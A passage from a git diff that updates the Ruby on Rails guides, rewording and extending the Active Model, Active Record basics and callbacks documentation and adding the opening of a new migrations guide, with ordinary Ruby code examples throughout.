+person.as_json # => {"name"=>"Bob"}
+```
+
+From a JSON string you define the attributes of the model.
+You need to have the `attributes=` method defined on your class:
+
+```ruby
+class Person
+ include ActiveModel::Serializers::JSON
+
+ attr_accessor :name
+
+ def attributes=(hash)
+ hash.each do |key, value|
+ send("#{key}=", value)
+ end
+ end
+
+ def attributes
+ {'name' => nil}
+ end
+end
+```
+
+Now it is possible to create an instance of person and set the attributes using `from_json`.
+
+```ruby
+json = { name: 'Bob' }.to_json
+person = Person.new
+person.from_json(json) # => #<Person:0x00000100c773f0 @name="Bob">
+person.name # => "Bob"
+```
+
+##### ActiveModel::Serializers::Xml
+
+To use the `ActiveModel::Serializers::Xml` you only need to change from
+`ActiveModel::Serialization` to `ActiveModel::Serializers::Xml`.
+
+```ruby
+class Person
+ include ActiveModel::Serializers::Xml
+
+ attr_accessor :name
+
+ def attributes
+ {'name' => nil}
+ end
+end
+```
+
+With the `to_xml` you have a XML representing the model.
+
+```ruby
+person = Person.new
+person.to_xml # => "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<person>\n <name nil=\"true\"/>\n</person>\n"
+person.name = "Bob"
+person.to_xml # => "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<person>\n <name>Bob</name>\n</person>\n"
+```
+
+From a XML string you define the attributes of the model.
+You need to have the `attributes=` method defined on your class:
+
+```ruby
+class Person
+ include ActiveModel::Serializers::Xml
+
+ attr_accessor :name
+
+ def attributes=(hash)
+ hash.each do |key, value|
+ send("#{key}=", value)
+ end
+ end
+
+ def attributes
+ {'name' => nil}
+ end
+end
+```
+
+Now it is possible to create an instance of person and set the attributes using `from_xml`.
+
+```ruby
+xml = { name: 'Bob' }.to_xml
+person = Person.new
+person.from_xml(xml) # => #<Person:0x00000100c773f0 @name="Bob">
+person.name # => "Bob"
+```
+
+### Translation
+
+`ActiveModel::Translation` provides integration between your object and the Rails
+internationalization (i18n) framework.
+
+```ruby
+class Person
+ extend ActiveModel::Translation
+end
+```
+
+With the `human_attribute_name` you can transform attribute names into a more
+human format. The human format is defined in your locale file.
+
+* config/locales/app.pt-BR.yml
+
+ ```yml
+ pt-BR:
+ activemodel:
+ attributes:
+ person:
+ name: 'Nome'
+ ```
+
+```ruby
+Person.human_attribute_name('name') # => "Nome"
+```
+
+### Lint Tests
+
+`ActiveModel::Lint::Tests` allow you to test whether an object is compliant with
+the Active Model API.
+
+* app/models/person.rb
+
+ ```ruby
+ class Person
+ include ActiveModel::Model
+
+ end
+ ```
+
+* test/models/person_test.rb
+
+ ```ruby
+ require 'test_helper'
+
+ class PersonTest < ActiveSupport::TestCase
+ include ActiveModel::Lint::Tests
+
+ def setup
+ @model = Person.new
+ end
+ end
+ ```
+
+```bash
+$ rake test
+
+Run options: --seed 14596
+
+# Running:
+
+......
+
+Finished in 0.024899s, 240.9735 runs/s, 1204.8677 assertions/s.
+
+6 runs, 30 assertions, 0 failures, 0 errors, 0 skips
+```
+
+An object is not required to implement all APIs in order to work with
+Action Pack. This module only intends to provide guidance in case you want all
+features out of the box.
+
+### SecurePassword
+
+`ActiveModel::SecurePassword` provides a way to securely store any
+password in an encrypted form. On including this module, a
+`has_secure_password` class method is provided which defines
+an accessor named `password` with certain validations on it.
+
+#### Requirements
+
+`ActiveModel::SecurePassword` depends on the [`bcrypt`](https://github.com/codahale/bcrypt-ruby 'BCrypt'),
+so include this gem in your Gemfile to use `ActiveModel::SecurePassword` correctly.
+In order to make this work, the model must have an accessor named `password_digest`.
+The `has_secure_password` will add the following validations on the `password` accessor:
+
+1. Password should be present.
+2. Password should be equal to its confirmation.
+3. This maximum length of a password is 72 (required by `bcrypt` on which ActiveModel::SecurePassword depends)
+
+#### Examples
+
+```ruby
+class Person
+ include ActiveModel::SecurePassword
+ has_secure_password
+ attr_accessor :password_digest
+end
+
+person = Person.new
+
+# When password is blank.
+person.valid? # => false
+
+# When the confirmation doesn't match the password.
+person.password = 'aditya'
+person.password_confirmation = 'nomatch'
+person.valid? # => false
+
+# When the length of password, exceeds 72.
+person.password = person.password_confirmation = 'a' * 100
+person.valid? # => false
+
+# When all validations are passed.
+person.password = person.password_confirmation = 'aditya'
+person.valid? # => true
+```
diff --git a/guides/source/active_record_basics.md b/guides/source/active_record_basics.md
index 68c6416e89..bd074d0055 100644
--- a/guides/source/active_record_basics.md
+++ b/guides/source/active_record_basics.md
@@ -5,9 +5,11 @@ This guide is an introduction to Active Record.
After reading this guide, you will know:
-* What Object Relational Mapping and Active Record are and how they are used in Rails.
+* What Object Relational Mapping and Active Record are and how they are used in
+ Rails.
* How Active Record fits into the Model-View-Controller paradigm.
-* How to use Active Record models to manipulate data stored in a relational database.
+* How to use Active Record models to manipulate data stored in a relational
+ database.
* Active Record schema naming conventions.
* The concepts of database migrations, validations and callbacks.
@@ -16,77 +18,129 @@ After reading this guide, you will know:
What is Active Record?
----------------------
-Active Record is the M in [MVC](getting_started.html#the-mvc-architecture) - the model - which is the layer of the system responsible for representing business data and logic. Active Record facilitates the creation and use of business objects whose data requires persistent storage to a database. It is an implementation of the Active Record pattern which itself is a description of an Object Relational Mapping system.
+Active Record is the M in [MVC](getting_started.html#the-mvc-architecture) - the
+model - which is the layer of the system responsible for representing business
+data and logic. Active Record facilitates the creation and use of business
+objects whose data requires persistent storage to a database. It is an
+implementation of the Active Record pattern which itself is a description of an
+Object Relational Mapping system.
### The Active Record Pattern
-Active Record was described by Martin Fowler in his book _Patterns of Enterprise Application Architecture_. In Active Record, objects carry both persistent data and behavior which operates on that data. Active Record takes the opinion that ensuring data access logic is part of the object will educate users of that object on how to write to and read from the database.
+[Active Record was described by Martin Fowler](http://www.martinfowler.com/eaaCatalog/activeRecord.html)
+in his book _Patterns of Enterprise Application Architecture_. In
+Active Record, objects carry both persistent data and behavior which
+operates on that data. Active Record takes the opinion that ensuring
+data access logic as part of the object will educate users of that
+object on how to write to and read from the database.
### Object Relational Mapping
-Object-Relational Mapping, commonly referred to as its abbreviation ORM, is a technique that connects the rich objects of an application to tables in a relational database management system. Using ORM, the properties and relationships of the objects in an application can be easily stored and retrieved from a database without writing SQL statements directly and with less overall database access code.
+Object-Relational Mapping, commonly referred to as its abbreviation ORM, is
+a technique that connects the rich objects of an application to tables in
+a relational database management system. Using ORM, the properties and
+relationships of the objects in an application can be easily stored and
+retrieved from a database without writing SQL statements directly and with less
+overall database access code.
### Active Record as an ORM Framework
-Active Record gives us several mechanisms, the most important being the ability to:
+Active Record gives us several mechanisms, the most important being the ability
+to:
-* Represent models and their data
-* Represent associations between these models
-* Represent inheritance hierarchies through related models
-* Validate models before they get persisted to the database
+* Represent models and their data.
+* Represent associations between these models.
+* Represent inheritance hierarchies through related models.
+* Validate models before they get persisted to the database.
* Perform database operations in an object-oriented fashion.
Convention over Configuration in Active Record
----------------------------------------------
-When writing applications using other programming languages or frameworks, it may be necessary to write a lot of configuration code. This is particularly true for ORM frameworks in general. However, if you follow the conventions adopted by Rails, you'll need to write very little configuration (in some case no configuration at all) when creating Active Record models. The idea is that if you configure your applications in the very same way most of the times then this should be the default way. In this cases, explicit configuration would be needed only in those cases where you can't follow the conventions for any reason.
+When writing applications using other programming languages or frameworks, it
+may be necessary to write a lot of configuration code. This is particularly true
+for ORM frameworks in general. However, if you follow the conventions adopted by
+Rails, you'll need to write very little configuration (in some case no
+configuration at all) when creating Active Record models. The idea is that if
+you configure your applications in the very same way most of the time then this
+should be the default way. Thus, explicit configuration would be needed
+only in those cases where you can't follow the standard convention.
### Naming Conventions
-By default, Active Record uses some naming conventions to find out how the mapping between models and database tables should be created. Rails will pluralize your class names to find the respective database table. So, for a class `Book`, you should have a database table called **books**. The Rails pluralization mechanisms are very powerful, being capable to pluralize (and singularize) both regular and irregular words. When using class names composed of two or more words, the model class name should follow the Ruby conventions, using the CamelCase form, while the table name must contain the words separated by underscores. Examples:
-
-* Database Table - Plural with underscores separating words (e.g., `book_clubs`)
-* Model Class - Singular with the first letter of each word capitalized (e.g., `BookClub`)
-
-| Model / Class | Table / Schema |
-| ------------- | -------------- |
-| `Post` | `posts` |
-| `LineItem` | `line_items` |
-| `Deer` | `deer` |
-| `Mouse` | `mice` |
-| `Person` | `people` |
+By default, Active Record uses some naming conventions to find out how the
+mapping between models and database tables should be created. Rails will
+pluralize your class names to find the respective database table. So, for
+a class `Book`, you should have a database table called **books**. The Rails
+pluralization mechanisms are very powerful, being capable to pluralize (and
+singularize) both regular and irregular words. When using class names composed
+of two or more words, the model class name should follow the Ruby conventions,
+using the CamelCase form, while the table name must contain the words separated
+by underscores. Examples:
+
+* Database Table - Plural with underscores separating words (e.g., `book_clubs`).
+* Model Class - Singular with the first letter of each word capitalized (e.g.,
+`BookClub`).
+
+| Model / Class | Table / Schema |
+| ---------------- | -------------- |
+| `Article` | `articles` |
+| `LineItem` | `line_items` |
+| `Deer` | `deers` |
+| `Mouse` | `mice` |
+| `Person` | `people` |
### Schema Conventions
-Active Record uses naming conventions for the columns in database tables, depending on the purpose of these columns.
-
-* **Foreign keys** - These fields should be named following the pattern `singularized_table_name_id` (e.g., `item_id`, `order_id`). These are the fields that Active Record will look for when you create associations between your models.
-* **Primary keys** - By default, Active Record will use an integer column named `id` as the table's primary key. When using [Rails Migrations](migrations.html) to create your tables, this column will be automatically created.
-
-There are also some optional column names that will create additional features to Active Record instances:
-
-* `created_at` - Automatically gets set to the current date and time when the record is first created.
-* `created_on` - Automatically gets set to the current date when the record is first created.
-* `updated_at` - Automatically gets set to the current date and time whenever the record is updated.
-* `updated_on` - Automatically gets set to the current date whenever the record is updated.
-* `lock_version` - Adds [optimistic locking](http://api.rubyonrails.org/classes/ActiveRecord/Locking.html) to a model.
-* `type` - Specifies that the model uses [Single Table Inheritance](http://api.rubyonrails.org/classes/ActiveRecord/Base.html)
-* `(table_name)_count` - Used to cache the number of belonging objects on associations. For example, a `comments_count` column in a `Post` class that has many instances of `Comment` will cache the number of existent comments for each post.
+Active Record uses naming conventions for the columns in database tables,
+depending on the purpose of these columns.
+
+* **Foreign keys** - These fields should be named following the pattern
+ `singularized_table_name_id` (e.g., `item_id`, `order_id`). These are the
+ fields that Active Record will look for when you create associations between
+ your models.
+* **Primary keys** - By default, Active Record will use an integer column named
+ `id` as the table's primary key. When using [Active Record
+ Migrations](migrations.html) to create your tables, this column will be
+ automatically created.
+
+There are also some optional column names that will add additional features
+to Active Record instances:
+
+* `created_at` - Automatically gets set to the current date and time when the
+ record is first created.
+* `updated_at` - Automatically gets set to the current date and time whenever
+ the record is updated.
+* `lock_version` - Adds [optimistic
+ locking](http://api.rubyonrails.org/classes/ActiveRecord/Locking.html) to
+ a model.
+* `type` - Specifies that the model uses [Single Table
+ Inheritance](http://api.rubyonrails.org/classes/ActiveRecord/Base.html#class-ActiveRecord::Base-label-Single+table+inheritance).
+* `(association_name)_type` - Stores the type for
+ [polymorphic associations](association_basics.html#polymorphic-associations).
+* `(table_name)_count` - Used to cache the number of belonging objects on
+ associations. For example, a `comments_count` column in a `Articles` class that
+ has many instances of `Comment` will cache the number of existent comments
+ for each article.
NOTE: While these column names are optional, they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, `type` is a reserved keyword used to designate a table using Single Table Inheritance (STI). If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling.
Creating Active Record Models
-----------------------------
-It is very easy to create Active Record models. All you have to do is to subclass the `ActiveRecord::Base` class and you're good to go:
+It is very easy to create Active Record models. All you have to do is to
+subclass the `ActiveRecord::Base` class and you're good to go:
```ruby
class Product < ActiveRecord::Base
end
```
-This will create a `Product` model, mapped to a `products` table at the database. By doing this you'll also have the ability to map the columns of each row in that table with the attributes of the instances of your model. Suppose that the `products` table was created using an SQL sentence like:
+This will create a `Product` model, mapped to a `products` table at the
+database. By doing this you'll also have the ability to map the columns of each
+row in that table with the attributes of the instances of your model. Suppose
+that the `products` table was created using an SQL sentence like:
```sql
CREATE TABLE products (
@@ -96,7 +150,8 @@ CREATE TABLE products (
);
```
-Following the table schema above, you would be able to write code like the following:
+Following the table schema above, you would be able to write code like the
+following:
```ruby
p = Product.new
@@ -107,9 +162,12 @@ puts p.name # "Some Book"
Overriding the Naming Conventions
---------------------------------
-What if you need to follow a different naming convention or need to use your Rails application with a legacy database? No problem, you can easily override the default conventions.
+What if you need to follow a different naming convention or need to use your
+Rails application with a legacy database? No problem, you can easily override
+the default conventions.
-You can use the `ActiveRecord::Base.table_name=` method to specify the table name that should be used:
+You can use the `ActiveRecord::Base.table_name=` method to specify the table
+name that should be used:
```ruby
class Product < ActiveRecord::Base
@@ -117,40 +175,48 @@ class Product < ActiveRecord::Base
end
```
-If you do so, you will have to define manually the class name that is hosting the fixtures (class_name.yml) using the `set_fixture_class` method in your test definition:
+If you do so, you will have to define manually the class name that is hosting
+the fixtures (class_name.yml) using the `set_fixture_class` method in your test
+definition:
```ruby
class FunnyJoke < ActiveSupport::TestCase
- set_fixture_class funny_jokes: 'Joke'
+ set_fixture_class funny_jokes: Joke
fixtures :funny_jokes
...
end
```
-It's also possible to override the column that should be used as the table's primary key using the `ActiveRecord::Base.set_primary_key` method:
+It's also possible to override the column that should be used as the table's
+primary key using the `ActiveRecord::Base.primary_key=` method:
```ruby
class Product < ActiveRecord::Base
- set_primary_key "product_id"
+ self.primary_key = "product_id"
end
```
CRUD: Reading and Writing Data
------------------------------
-CRUD is an acronym for the four verbs we use to operate on data: **C**reate, **R**ead, **U**pdate and **D**elete. Active Record automatically creates methods to allow an application to read and manipulate data stored within its tables.
+CRUD is an acronym for the four verbs we use to operate on data: **C**reate,
+**R**ead, **U**pdate and **D**elete. Active Record automatically creates methods
+to allow an application to read and manipulate data stored within its tables.
### Create
-Active Record objects can be created from a hash, a block or have their attributes manually set after creation. The `new` method will return a new object while `create` will return the object and save it to the database.
+Active Record objects can be created from a hash, a block or have their
+attributes manually set after creation. The `new` method will return a new
+object while `create` will return the object and save it to the database.
-For example, given a model `User` with attributes of `name` and `occupation`, the `create` method call will create and save a new record into the database:
+For example, given a model `User` with attributes of `name` and `occupation`,
+the `create` method call will create and save a new record into the database:
```ruby
user = User.create(name: "David", occupation: "Code Artist")
```
-Using the `new` method, an object can be created without being saved:
+Using the `new` method, an object can be instantiated without being saved:
```ruby
user = User.new
@@ -160,7 +226,8 @@ user.occupation = "Code Artist"
A call to `user.save` will commit the record to the database.
-Finally, if a block is provided, both `create` and `new` will yield the new object to that block for initialization:
+Finally, if a block is provided, both `create` and `new` will yield the new
+object to that block for initialization:
```ruby
user = User.new do |u|
@@ -171,21 +238,22 @@ end
### Read
-Active Record provides a rich API for accessing data within a database. Below are a few examples of different data access methods provided by Active Record.
+Active Record provides a rich API for accessing data within a database. Below
+are a few examples of different data access methods provided by Active Record.
```ruby
-# return array with all records
+# return a collection with all users
users = User.all
```
```ruby
-# return the first record
+# return the first user
user = User.first
```
```ruby
# return the first user named David
-david = User.find_by_name('David')
+david = User.find_by(name: 'David')
```
```ruby
@@ -193,38 +261,114 @@ david = User.find_by_name('David')
users = User.where(name: 'David', occupation: 'Code Artist').order('created_at DESC')
```
-You can learn more about querying an Active Record model in the [Active Record Query Interface](active_record_querying.html) guide.
+You can learn more about querying an Active Record model in the [Active Record
+Query Interface](active_record_querying.html) guide.
### Update
-Once an Active Record object has been retrieved, its attributes can be modified and it can be saved to the database.
+Once an Active Record object has been retrieved, its attributes can be modified
+and it can be saved to the database.
```ruby
-user = User.find_by_name('David')
+user = User.find_by(name: 'David')
user.name = 'Dave'
user.save
```
+A shorthand for this is to use a hash mapping attribute names to the desired
+value, like so:
+
+```ruby
+user = User.find_by(name: 'David')
+user.update(name: 'Dave')
+```
+
+This is most useful when updating several attributes at once. If, on the other
+hand, you'd like to update several records in bulk, you may find the
+`update_all` class method useful:
+
+```ruby
+User.update_all "max_login_attempts = 3, must_change_password = 'true'"
+```
+
### Delete
-Likewise, once retrieved an Active Record object can be destroyed which removes it from the database.
+Likewise, once retrieved an Active Record object can be destroyed which removes
+it from the database.
```ruby
-user = User.find_by_name('David')
+user = User.find_by(name: 'David')
user.destroy
```
Validations
-----------
-Active Record allows you to validate the state of a model before it gets written into the database. There are several methods that you can use to check your models and validate that an attribute value is not empty, is unique and not already in the database, follows a specific format and many more. You can learn more about validations in the [Active Record Validations and Callbacks guide](active_record_validations_callbacks.html#validations-overview).
+Active Record allows you to validate the state of a model before it gets written
+into the database. There are several methods that you can use to check your
+models and validate that an attribute value is not empty, is unique and not
+already in the database, follows a specific format and many more.
+
+Validation is a very important issue to consider when persisting to the database, so
+the methods `save` and `update` take it into account when
+running: they return `false` when validation fails and they didn't actually
+perform any operation on the database. All of these have a bang counterpart (that
+is, `save!` and `update!`), which are stricter in that
+they raise the exception `ActiveRecord::RecordInvalid` if validation fails.
+A quick example to illustrate:
+
+```ruby
+class User < ActiveRecord::Base
+ validates :name, presence: true
+end
+
+user = User.new
+user.save # => false
+user.save! # => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+```
+
+You can learn more about validations in the [Active Record Validations
+guide](active_record_validations.html).
Callbacks
---------
-Active Record callbacks allow you to attach code to certain events in the life-cycle of your models. This enables you to add behavior to your models by transparently executing code when those events occur, like when you create a new record, update it, destroy it and so on. You can learn more about callbacks in the [Active Record Validations and Callbacks guide](active_record_validations_callbacks.html#callbacks-overview).
+Active Record callbacks allow you to attach code to certain events in the
+life-cycle of your models. This enables you to add behavior to your models by
+transparently executing code when those events occur, like when you create a new
+record, update it, destroy it and so on. You can learn more about callbacks in
+the [Active Record Callbacks guide](active_record_callbacks.html).
Migrations
----------
-Rails provides a domain-specific language for managing a database schema called migrations. Migrations are stored in files which are executed against any database that Active Record support using rake. Rails keeps track of which files have been committed to the database and provides rollback features. You can learn more about migrations in the [Active Record Migrations guide](migrations.html)
+Rails provides a domain-specific language for managing a database schema called
+migrations. Migrations are stored in files which are executed against any
+database that Active Record supports using `rake`. Here's a migration that
+creates a table:
+
+```ruby
+class CreatePublications < ActiveRecord::Migration
+ def change
+ create_table :publications do |t|
+ t.string :title
+ t.text :description
+ t.references :publication_type
+ t.integer :publisher_id
+ t.string :publisher_type
+ t.boolean :single_issue
+
+ t.timestamps
+ end
+ add_index :publications, :publication_type_id
+ end
+end
+```
+
+Rails keeps track of which files have been committed to the database and
+provides rollback features. To actually create the table, you'd run `rake db:migrate`
+and to roll it back, `rake db:rollback`.
+
+Note that the above code is database-agnostic: it will run in MySQL,
+PostgreSQL, Oracle and others. You can learn more about migrations in the
+[Active Record Migrations guide](migrations.html).
diff --git a/guides/source/active_record_callbacks.md b/guides/source/active_record_callbacks.md
index 971c1cdb25..9c7e60cbb0 100644
--- a/guides/source/active_record_callbacks.md
+++ b/guides/source/active_record_callbacks.md
@@ -15,7 +15,7 @@ After reading this guide, you will know:
The Object Life Cycle
---------------------
-During the normal operation of a Rails application, objects may be created, updated, and destroyed. Active Record provides hooks into this <em>object life cycle</em> so that you can control your application and its data.
+During the normal operation of a Rails application, objects may be created, updated, and destroyed. Active Record provides hooks into this *object life cycle* so that you can control your application and its data.
Callbacks allow you to trigger logic before or after an alteration of an object's state.
@@ -35,11 +35,11 @@ class User < ActiveRecord::Base
before_validation :ensure_login_has_a_value
protected
- def ensure_login_has_a_value
- if login.nil?
- self.login = email unless email.blank?
+ def ensure_login_has_a_value
+ if login.nil?
+ self.login = email unless email.blank?
+ end
end
- end
end
```
@@ -49,13 +49,13 @@ The macro-style class methods can also receive a block. Consider using this styl
class User < ActiveRecord::Base
validates :login, :email, presence: true
- before_create do |user|
- user.name = user.login.capitalize if user.name.blank?
+ before_create do
+ self.name = login.capitalize if name.blank?
end
end
```
-Callbacks can also be registered to only fire on certain lifecycle events:
+Callbacks can also be registered to only fire on certain life cycle events:
```ruby
class User < ActiveRecord::Base
@@ -65,13 +65,13 @@ class User < ActiveRecord::Base
after_validation :set_location, on: [ :create, :update ]
protected
- def normalize_name
- self.name = self.name.downcase.titleize
- end
+ def normalize_name
+ self.name = self.name.downcase.titleize
+ end
- def set_location
- self.location = LocationService.query(self)
- end
+ def set_location
+ self.location = LocationService.query(self)
+ end
end
```
@@ -92,6 +92,7 @@ Here is a list with all the available Active Record callbacks, listed in the sam
* `around_create`
* `after_create`
* `after_save`
+* `after_commit/after_rollback`
### Updating an Object
@@ -103,12 +104,14 @@ Here is a list with all the available Active Record callbacks, listed in the sam
* `around_update`
* `after_update`
* `after_save`
+* `after_commit/after_rollback`
### Destroying an Object
* `before_destroy`
* `around_destroy`
* `after_destroy`
+* `after_commit/after_rollback`
WARNING. `after_save` runs both on create and update, but always _after_ the more specific callbacks `after_create` and `after_update`, no matter the order in which the macro calls were executed.
@@ -141,6 +144,55 @@ You have initialized an object!
=> #<User id: 1>
```
+### `after_touch`
+
+The `after_touch` callback will be called whenever an Active Record object is touched.
+
+```ruby
+class User < ActiveRecord::Base
+ after_touch do |user|
+ puts "You have touched an object"
+ end
+end
+
+>> u = User.create(name: 'Kuldeep')
+=> #<User id: 1, name: "Kuldeep", created_at: "2013-11-25 12:17:49", updated_at: "2013-11-25 12:17:49">
+
+>> u.touch
+You have touched an object
+=> true
+```
+
+It can be used along with `belongs_to`:
+
+```ruby
+class Employee < ActiveRecord::Base
+ belongs_to :company, touch: true
+ after_touch do
+ puts 'An Employee was touched'
+ end
+end
+
+class Company < ActiveRecord::Base
+ has_many :employees
+ after_touch :log_when_employees_or_company_touched
+
+ private
+ def log_when_employees_or_company_touched
+ puts 'Employee/Company was touched'
+ end
+end
+
+>> @employee = Employee.last
+=> #<Employee id: 1, company_id: 1, created_at: "2013-11-25 17:04:22", updated_at: "2013-11-25 17:05:05">
+
+# triggers @employee.company.touch
+>> @employee.touch
+Employee/Company was touched
+An Employee was touched
+=> true
+```
+
Running Callbacks
-----------------
@@ -150,16 +202,16 @@ The following methods trigger callbacks:
* `create!`
* `decrement!`
* `destroy`
+* `destroy!`
* `destroy_all`
* `increment!`
* `save`
* `save!`
* `save(validate: false)`
* `toggle!`
-* `update`
* `update_attribute`
-* `update_attributes`
-* `update_attributes!`
+* `update`
+* `update!`
* `valid?`
Additionally, the `after_find` callback is triggered by the following finder methods:
@@ -167,7 +219,7 @@ Additionally, the `after_find` callback is triggered by the following finder met
* `all`
* `first`
* `find`
-* `find_all_by_*`
+* `find_by`
* `find_by_*`
* `find_by_*!`
* `find_by_sql`
@@ -175,12 +227,12 @@ Additionally, the `after_find` callback is triggered by the following finder met
The `after_initialize` callback is triggered every time a new object of the class is initialized.
-NOTE: The `find_all_by_*`, `find_by_*` and `find_by_*!` methods are dynamic finders generated automatically for every attribute. Learn more about them at the [Dynamic finders section](active_record_querying.html#dynamic-finders)
+NOTE: The `find_by_*` and `find_by_*!` methods are dynamic finders generated automatically for every attribute. Learn more about them at the [Dynamic finders section](active_record_querying.html#dynamic-finders)
Skipping Callbacks
------------------
-Just as with validations, it is also possible to skip callbacks. These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data.
+Just as with validations, it is also possible to skip callbacks by using the following methods:
* `decrement`
* `decrement_counter`
@@ -195,6 +247,8 @@ Just as with validations, it is also possible to skip callbacks. These methods s
* `update_all`
* `update_counters`
+These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data.
+
Halting Execution
-----------------
@@ -202,32 +256,32 @@ As you start registering new callbacks for your models, they will be queued for
The whole callback chain is wrapped in a transaction. If any _before_ callback method returns exactly `false` or raises an exception, the execution chain gets halted and a ROLLBACK is issued; _after_ callbacks can only accomplish that by raising an exception.
-WARNING. Raising an arbitrary exception may break code that expects `save` and its friends not to fail like that. The `ActiveRecord::Rollback` exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised.
+WARNING. Any exception that is not `ActiveRecord::Rollback` will be re-raised by Rails after the callback chain is halted. Raising an exception other than `ActiveRecord::Rollback` may break code that does not expect methods like `save` and `update_attributes` (which normally try to return `true` or `false`) to raise an exception.
Relational Callbacks
--------------------
-Callbacks work through model relationships, and can even be defined by them. Suppose an example where a user has many posts. A user's posts should be destroyed if the user is destroyed. Let's add an `after_destroy` callback to the `User` model by way of its relationship to the `Post` model:
+Callbacks work through model relationships, and can even be defined by them. Suppose an example where a user has many articles. A user's articles should be destroyed if the user is destroyed. Let's add an `after_destroy` callback to the `User` model by way of its relationship to the `Article` model:
```ruby
class User < ActiveRecord::Base
- has_many :posts, dependent: :destroy
+ has_many :articles, dependent: :destroy
end
-class Post < ActiveRecord::Base
+class Article < ActiveRecord::Base
after_destroy :log_destroy_action
def log_destroy_action
- puts 'Post destroyed'
+ puts 'Article destroyed'
end
end
>> user = User.first
=> #<User id: 1>
->> user.posts.create!
-=> #<Post id: 1, user_id: 1>
+>> user.articles.create!
+=> #<Article id: 1, user_id: 1>
>> user.destroy
-Post destroyed
+Article destroyed
=> #<User id: 1>
```
@@ -274,7 +328,7 @@ When writing conditional callbacks, it is possible to mix both `:if` and `:unles
```ruby
class Comment < ActiveRecord::Base
after_create :send_email_to_author, if: :author_wants_emails?,
- unless: Proc.new { |comment| comment.post.ignore_comments? }
+ unless: Proc.new { |comment| comment.article.ignore_comments? }
end
```
@@ -288,7 +342,7 @@ Here's an example where we create a class with an `after_destroy` callback for a
```ruby
class PictureFileCallbacks
def after_destroy(picture_file)
- if File.exists?(picture_file.filepath)
+ if File.exist?(picture_file.filepath)
File.delete(picture_file.filepath)
end
end
@@ -308,7 +362,7 @@ Note that we needed to instantiate a new `PictureFileCallbacks` object, since we
```ruby
class PictureFileCallbacks
def self.after_destroy(picture_file)
- if File.exists?(picture_file.filepath)
+ if File.exist?(picture_file.filepath)
File.delete(picture_file.filepath)
end
end
@@ -343,19 +397,17 @@ By using the `after_commit` callback we can account for this case.
```ruby
class PictureFile < ActiveRecord::Base
- attr_accessor :delete_file
-
- after_destroy do |picture_file|
- picture_file.delete_file = picture_file.filepath
- end
+ after_commit :delete_picture_file_from_disk, on: [:destroy]
- after_commit do |picture_file|
- if picture_file.delete_file && File.exist?(picture_file.delete_file)
- File.delete(picture_file.delete_file)
- picture_file.delete_file = nil
+ def delete_picture_file_from_disk
+ if File.exist?(filepath)
+ File.delete(filepath)
end
end
end
```
-The `after_commit` and `after_rollback` callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback.
+NOTE: the `:on` option specifies when a callback will be fired. If you
+don't supply the `:on` option the callback will fire for every action.
+
+WARNING. The `after_commit` and `after_rollback` callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback.
diff --git a/guides/source/active_record_migrations.md b/guides/source/active_record_migrations.md
new file mode 100644
index 0000000000..c8a31fe7b8
--- /dev/null
+++ b/guides/source/active_record_migrations.md
@@ -0,0 +1,1016 @@
+Active Record Migrations
+========================
+
+Migrations are a feature of Active Record that allows you to evolve your
+database schema over time. Rather than write schema modifications in pure SQL,
+migrations allow you to use an easy Ruby DSL to describe changes to your
+tables.
+
+After reading this guide, you will know:
+
+* The generators you can use to create them.
+* The methods Active Record provides to manipulate your database.
+* The Rake tasks that manipulate migrations and your schema.
+* How migrations relate to `schema.rb`.
+
+--------------------------------------------------------------------------------
+
+Migration Overview
+------------------
+
+Migrations are a convenient way to
+[alter your database schema over time](http://en.wikipedia.org/wiki/Schema_migration)
+in a consistent and easy way. They use a Ruby DSL so that you don't have to
+write SQL by hand, allowing your schema and changes to be database independent.
+
+You can think of each migration as being a new 'version' of the database. A
+schema starts off with nothing in it, and each migration modifies it to add or
+remove tables, columns, or entries. Active Record knows how to update your
+schema along this timeline, bringing it from whatever point it is in the
+history to the latest version. Active Record will also update your
+`db/schema.rb` file to match the up-to-date structure of your database.
+
+Here's an example of a migration:
+
+```ruby
+class CreateProducts < ActiveRecord::Migration
+ def change
+ create_table :products do |t|
+ t.string :name
+ t.text :description
+
+ t.timestamps
+ end
+ end
+end
+```
+
+This migration adds a table called `products` with a string column called
+`name` and a text column called `description`. A primary key column called `id`
+will also be added implicitly, as it's the default primary key for all Active
+Record models. The `timestamps` macro adds two columns, `created_at` and
+`updated_at`. These special columns are automatically managed by Active Record
+if they exist.
+
+Note that we define the change that we want to happen moving forward in time.
+Before this migration is run, there will be no table. After, the table will
+exist. Active Record knows how to reverse this migration as well: if we roll
+this migration back, it will remove the table.
+
+On databases that support transactions with statements that change the schema,
+migrations are wrapped in a transaction. If the database does not support this
+then when a migration fails the parts of it that succeeded will not be rolled
+back. You will have to rollback the changes that were made by hand.
+
+NOTE: There are certain queries that can't run inside a transaction. If your
+adapter supports DDL transactions you can use `disable_ddl_transaction!` to
+disable them for a single migration.
+
+If you wish for a migration to do something that Active Record doesn't know how
+to reverse, you can use `reversible`:
+
+```ruby
+class ChangeProductsPrice < ActiveRecord::Migration
+ def change
+ reversible do |dir|
+ change_table :products do |t|
+ dir.up { t.change :price, :string }
+ dir.down { t.change :price, :integer }
+ end
+ end
+ end
+end
+```
+
+Alternatively, you can use `up` and `down` instead of `change`:
+
+```ruby
+class ChangeProductsPrice < ActiveRecord::Migration
+ def up
+ change_table :products do |t|
+ t.change :price, :string
+ end
+ end
+
+ def down
+ change_table :products do |t|
+ t.change :price, :integer
+ end
+ end
+end
+```
+
+Creating a Migration
+--------------------
+
+### Creating a Standalone Migration
+
+Migrations are stored as files in the `db/migrate` directory, one for each
+migration class. The name of the file is of the form
+`YYYYMMDDHHMMSS_create_products.rb`, that is to say a UTC timestamp
